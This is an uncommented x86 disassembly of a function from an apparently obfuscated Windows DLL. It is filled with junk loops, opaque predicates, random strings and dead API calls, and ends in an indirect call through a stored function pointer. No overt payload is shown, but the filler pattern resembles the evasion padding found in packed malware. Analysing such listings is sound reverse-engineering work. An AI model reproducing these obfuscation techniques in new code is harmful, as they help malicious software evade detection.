mov dword [ebp - 0x7dc], 0x42a43d95
mov dword [ebp - 0x30], 0
jmp 0x10008f77
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x10008f8d
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xb20], 0xccbad86e
jmp 0x10008f70
mov dword [ebp - 0x30], 0
jmp 0x10008f9d
cmp dword [ebp - 0x30], 1
jge 0x10008fb3
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x964], 0x25a80e35
jmp 0x10008f96
mov dword [ebp - 0x30], 0
jmp 0x10008fc3
mov dword [ebp - 0xdc], 0x1f7e2799
mov dword [ebp - 0x394], 0xfffffff7
mov dword [ebp - 0xdc], 2
jmp 0x10009ad9
mov eax, dword [ebp - 0xdc]
dec eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0xfffffffd
jne 0x10009b2c
mov dword [ebp - 0x728], 0xefa9d19a
mov byte [ebp - 0x9f], 0
movzx eax, byte [ebp - 0x9f]
test eax, eax
je 0x10009b12
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x728], eax
jmp 0x10009acc
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x5c8], 0
mov dword [ebp - 0x78], 0x469ad59e
mov dword [ebp - 0xb4], 0x559653e3
mov dword [ebp - 0x17c], 0
jmp 0x10009b64
cmp dword [ebp - 0x17c], 1
jge 0x10009b80
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x3bc], 0xfffffff8
jmp 0x10009b57
mov dword [ebp - 0x78], 0
jmp 0x10009b90
mov dword [ebp - 0x234], 0xfffffffe
mov dword [ebp - 0x67c], 0x50e6da50
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x464], 0x46e5
mov dword [ebp - 0x714], str.shxnkon_lbktcdg_boznrukf_kkzx_itlevoc_oheqqv_eoy
cmp dword [ebp - 0x464], 0x48fc
jle 0x1000a9a7
and dword [ebp - 0x22c], 0
jmp 0x1000a8d0
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x109e
jge 0x1000a996
and dword [ebp - 0x214], 0
jmp 0x1000a8f6
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x7078
jge 0x1000a991
and dword [ebp - 0x21c], 0
jmp 0x1000a91c
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x5d24
jge 0x1000a98c
and dword [ebp - 0x224], 0
jmp 0x1000a93e
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x1ba8
jge 0x1000a98a
mov eax, dword [ebp - 0x214]
cdq
idiv dword [ebp - 0x21c]
and edx, dword [ebp - 0x224]
xor edx, dword [ebp - 0x22c]
mov eax, edx
cdq
mov dword [ebp - 0x6f0], eax
mov dword [ebp - 0x6ec], edx
push dword [ebp - 0x6ec]
push dword [ebp - 0x6f0]
mov ecx, 0x1006d158
call fcn.100021b6
jmp 0x1000a931
jmp 0x1000a90f
jmp 0x1000a8e9
jmp 0x1000a8c3
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
movzx eax, byte [ebp - 0x7c]
test eax, eax
je 0x1000a9d4
push 0
push 0x21df
push 0x1766
push 0x2214
push 0x59
push 0xfe6
push 0x17f1
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x464], 0x464c
jge 0x1000a9f7
mov edx, dword [ebp - 0x714]
mov ecx, 0x1006d158
call fcn.100037d8
jmp 0x1000aa13
or dword [ebp - 4], 0xffffffff
jmp 0x1000aa1d
mov dword [ebp - 0x234], 0x1a
jmp 0x1000aa36
mov eax, dword [ebp - 0x234]
dec eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0
jle 0x1000aa61
mov dword [ebp - 0x46c], 1
mov dword [ebp - 0x46c], 6
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0x67c], eax
jmp 0x1000aa29
cmp dword [0x1006e2a4], 0
je 0x1000b178
mov dword [ebp - 0x474], 0x31966c47
mov dword [ebp - 0x34], 0
jmp 0x1000aa88
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 1
jge 0x1000aa9e
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x23c], 0xc03342eb
jmp 0x1000aa81
mov dword [ebp - 0x34], 0
jmp 0x1000aaae
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x1000aac4
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xa3c], 0xfffffff7
jmp 0x1000aaa7
mov dword [ebp - 0x34], 0
jmp 0x1000aad4
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1000aaea
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x764], 0xda7209c3
jmp 0x1000aacd
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x23c], 0
jmp 0x1000ab18
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x23c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x23c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x23c], 7
je 0x1000ac79
mov dword [ebp - 0x71c], 8
mov dword [ebp - 0x884], 0x82eac453
mov dword [ebp - 0x744], 0xffffffff
mov dword [ebp - 0x8dc], 0x8f576c51
mov dword [ebp - 0x890], 0xffffffff
mov dword [ebp - 0x688], 0xa205b290
mov dword [ebp - 0x694], 8
mov dword [ebp - 0x9a4], 0
mov dword [ebp - 0x9a0], 0
mov dword [ebp - 0x99c], 0
mov dword [ebp - 0x998], 0
mov dword [ebp - 0x244], 0
jmp 0x1000abb3
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 2
jge 0x1000abcf
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0x9c0], 0xc587c7ab
jmp 0x1000aba6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x764]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x764], eax
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x8e4], eax
cmp dword [ebp - 0x71c], 0
jne 0x1000ac5e
mov eax, dword [ebp - 0x688]
sub eax, 0x49a54b2e
jne 0x1000ac1e
cmp dword [ebp - 0x474], 0
jne 0x1000ac1e
and dword [ebp - 0x47c], 0
jmp 0x1000ac28
mov dword [ebp - 0x47c], 1
mov eax, dword [ebp - 0x744]
cmp eax, dword [ebp - 0x47c]
jg 0x1000ac42
mov dword [ebp - 0x484], 1
jmp 0x1000ac49
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x484]
dec eax
cmp eax, 2
jbe 0x1000ac5e
and dword [ebp - 0x48c], 0
jmp 0x1000ac68
mov dword [ebp - 0x48c], 1
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x694], eax
jmp 0x1000aafd
mov eax, dword [ebp + 8]
mov dword [ebp - 0x5e4], eax
mov dword [ebp - 0xf4], 1
mov dword [ebp - 0x6c], 0xe1e2c0d3
mov dword [ebp - 0x4ec], 3
mov dword [ebp - 0xf4], 0
jmp 0x1000acb6
mov eax, dword [ebp - 0xf4]
dec eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0xffffffe7
je 0x1000aeef
mov dword [ebp - 0xd4], 1
mov dword [ebp - 0x494], 0xfffffffd
mov dword [ebp - 0x4dc], 0x169ff9e6
mov dword [ebp - 0x5dc], 0xfffffffb
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xd4], 0
jmp 0x1000ad0d
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x16
jg 0x1000aeea
mov dword [ebp - 0x4d4], 0xa2b4
mov dword [ebp - 0x24c], 2
mov dword [ebp - 0x6c], 0xffffffe9
jmp 0x1000ad3e
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jge 0x1000aee5
mov dword [ebp - 0x5d4], 8
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x6c]
jne 0x1000ad69
mov dword [ebp - 0x4a4], 1
jmp 0x1000ad70
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0xf4]
imul eax, dword [ebp - 0x24c]
cmp eax, dword [ebp - 0x494]
je 0x1000ad91
mov dword [ebp - 0x49c], 1
jmp 0x1000ad98
and dword [ebp - 0x49c], 0
imul eax, dword [ebp - 0x49c], 0xffffffff
imul eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x4a4], eax
jle 0x1000adb7
mov dword [ebp - 0x4ac], 1
jmp 0x1000adbe
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0xd4]
add eax, dword [ebp - 0x4ac]
je 0x1000addf
push 8
pop eax
test eax, eax
je 0x1000addf
mov dword [ebp - 0x5d0], 1
jmp 0x1000ade6
and dword [ebp - 0x5d0], 0
cmp dword [ebp - 0x24c], 1
jne 0x1000adfb
mov dword [ebp - 0x4b4], 1
jmp 0x1000ae02
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x4d4]
add eax, 0x59d5696b
cmp eax, dword [ebp - 0x4b4]
jge 0x1000ae21
mov dword [ebp - 0x4bc], 1
jmp 0x1000ae28
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x5d4]
cmp dword [ebp - 0x4bc], eax
jle 0x1000ae4b
cmp dword [ebp - 0x4ec], 0
je 0x1000ae4b
mov dword [ebp - 0x4c4], 1
jmp 0x1000ae52
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x4c4], eax
jl 0x1000ae69
mov dword [ebp - 0x4cc], 1
jmp 0x1000ae70
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x24c]
add eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x4dc], eax
cmp dword [ebp - 0x4dc], 0xf0bb9a67
ja 0x1000aea6
mov dword [ebp - 0x4e4], 1
jmp 0x1000aead
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x4e4]
mov dword [ebp - 0x5dc], eax
mov dword [ebp - 0x4ec], 0xc4b664fb
mov byte [ebp - 0xa0], 0
movzx eax, byte [ebp - 0xa0]
test eax, eax
je 0x1000aee0
push 0x17ad
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
jmp 0x1000ad37
jmp 0x1000ad00
jmp 0x1000aca9
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x5ec], eax
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x60c], eax
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x604], eax
mov dword [ebp - 0x8ec], 0xfffffff6
mov dword [ebp - 0x954], 0xfffffffb
mov dword [ebp - 0x8a0], 0xfffffffd
mov dword [ebp - 0x910], 0xffffffff
mov dword [ebp - 0x8a8], 0x7cefa9d1
mov dword [ebp - 0x994], 0xa162c9cc
mov dword [ebp - 0x8b0], 0x38c08872
mov dword [ebp - 0x920], 0x44d0289a
mov dword [ebp - 0x8b8], 0xfffffffb
mov dword [ebp - 0x95c], 0xb5f0b101
mov dword [ebp - 0x8c0], 1
mov dword [ebp - 0x930], 0xb5c6f8b8
mov dword [ebp - 0x8c8], 0xfc36
mov dword [ebp - 0x4fc], 0xfffffff6
mov dword [ebp - 0x4f4], 0x4c6
mov dword [ebp - 0x5fc], str.fehuux_prigjjjj_zxw_kgaf_cbtywpwt_rdiey_jge_tyydy_dumbr_gmyxulv_gnmt_abmkuqmkd
cmp dword [ebp - 0x4f4], 0x7be
jle 0x1000b0ce
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
and dword [ebp - 0x26c], 0
jmp 0x1000afde
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x669a
jge 0x1000b0ce
and dword [ebp - 0x254], 0
jmp 0x1000b004
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x5e40
jge 0x1000b0c9
and dword [ebp - 0x25c], 0
jmp 0x1000b02a
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x514b
jge 0x1000b0c4
and dword [ebp - 0x264], 0
jmp 0x1000b050
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x20a8
jge 0x1000b0bf
mov eax, dword [ebp - 0x254]
and eax, dword [ebp - 0x25c]
and eax, dword [ebp - 0x264]
xor eax, dword [ebp - 0x26c]
cdq
mov dword [ebp - 0x6fc], eax
mov dword [ebp - 0x6f8], edx
push dword [ebp - 0x6f8]
push dword [ebp - 0x6fc]
lea ecx, [ebp - 0xae4]
call fcn.10001311
pop ecx
pop ecx
mov dword [ebp - 0x5f4], eax
mov ecx, dword [ebp - 0x5f4]
call fcn.1000150b
push eax
call fcn.1003bcd0
pop ecx
lea ecx, [ebp - 0xae4]
call fcn.10001501
jmp 0x1000b043
jmp 0x1000b01d
jmp 0x1000aff7
jmp 0x1000afd1
mov dword [ebp - 0x274], 0
jmp 0x1000b0e7
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 3
jge 0x1000b103
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0xacc], 0xbb8bffbe
jmp 0x1000b0da
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x4f4], 0x465
jge 0x1000b122
push dword [ebp - 0x5fc]
call fcn.1003bcd0
pop ecx
jmp 0x1000b13e
or dword [ebp - 4], 0xffffffff
jmp 0x1000b148
mov eax, dword [ebp - 0x4fc]
dec eax
mov dword [ebp - 0x4fc], eax
push dword [ebp - 0x604]
push dword [ebp - 0x60c]
call dword [0x1006e2a4]
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x614]
jmp 0x1000b3ed
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x48], 0x1b
jmp 0x1000b18f
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x1000b3eb
mov dword [ebp - 0x64], 0xffffffff
mov dword [ebp - 0x504], 7
mov dword [ebp - 0x58], 0
jmp 0x1000b1ba
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jge 0x1000b1d0
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x9b8], 0xfffffffe
jmp 0x1000b1b3
mov dword [ebp - 0x58], 0
jmp 0x1000b1e0
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jge 0x1000b1f6
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x88c], 0x679bdd86
jmp 0x1000b1d9
cmp dword [ebp - 0x64], 0xffffffff
jne 0x1000b208
mov dword [ebp - 0x53c], 1
jmp 0x1000b20f
and dword [ebp - 0x53c], 0
cmp dword [ebp - 0x64], 0
je 0x1000b26e
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x64], 0xfffb
je 0x1000b233
mov dword [ebp - 0x2ac], 1
jmp 0x1000b23a
and dword [ebp - 0x2ac], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp + eax - 0x9b8], ecx
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 0
je 0x1000b26e
mov dword [ebp - 0x50c], 1
jmp 0x1000b275
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x50c]
sub eax, 0x2e26
cmp eax, 0xfffd
ja 0x1000b293
mov dword [ebp - 0x61c], 1
jmp 0x1000b29a
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x8d0], eax
cmp dword [ebp - 0x64], 0x6e1ee67b
je 0x1000b2b8
mov dword [ebp - 0x514], 1
jmp 0x1000b2bf
and dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 0xffffffff
jl 0x1000b2d4
mov dword [ebp - 0x624], 1
jmp 0x1000b2db
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x938], eax
mov eax, 0x9ba5
test eax, eax
jne 0x1000b2fc
cmp dword [ebp - 0x48], 0
jne 0x1000b2fc
and dword [ebp - 0x51c], 0
jmp 0x1000b306
mov dword [ebp - 0x51c], 1
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x51c]
cmp eax, dword [ebp - 0x48]
jne 0x1000b320
mov dword [ebp - 0x524], 1
jmp 0x1000b327
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x524], eax
je 0x1000b33e
mov dword [ebp - 0x52c], 1
jmp 0x1000b345
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x52c], eax
jl 0x1000b35c
mov dword [ebp - 0x534], 1
jmp 0x1000b363
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x534]
sub eax, dword [ebp - 0x48]
imul eax, eax, 0xfc1c
cmp eax, dword [ebp - 0x64]
jge 0x1000b383
mov dword [ebp - 0x544], 1
jmp 0x1000b38a
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x53c]
cmp eax, dword [ebp - 0x544]
jne 0x1000b3ad
mov eax, 0xbfcf
test eax, eax
je 0x1000b3ad
mov dword [ebp - 0x54c], 1
jmp 0x1000b3b4
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x54c]
inc eax
cmp eax, dword [ebp - 0x64]
je 0x1000b3cc
mov dword [ebp - 0x554], 1
jmp 0x1000b3d3
and dword [ebp - 0x554], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x554]
mov dword [ebp + eax - 0x88c], ecx
jmp 0x1000b188
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret